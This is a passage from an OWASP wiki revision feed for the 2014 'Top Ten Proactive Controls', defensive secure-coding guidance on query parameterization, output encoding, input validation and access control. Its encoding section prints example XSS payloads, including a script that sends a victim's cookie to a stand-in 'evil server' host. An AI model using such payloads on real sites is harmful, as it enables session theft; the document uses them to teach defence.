There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176455</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176455"/>
				<updated>2014-06-05T16:52:49Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
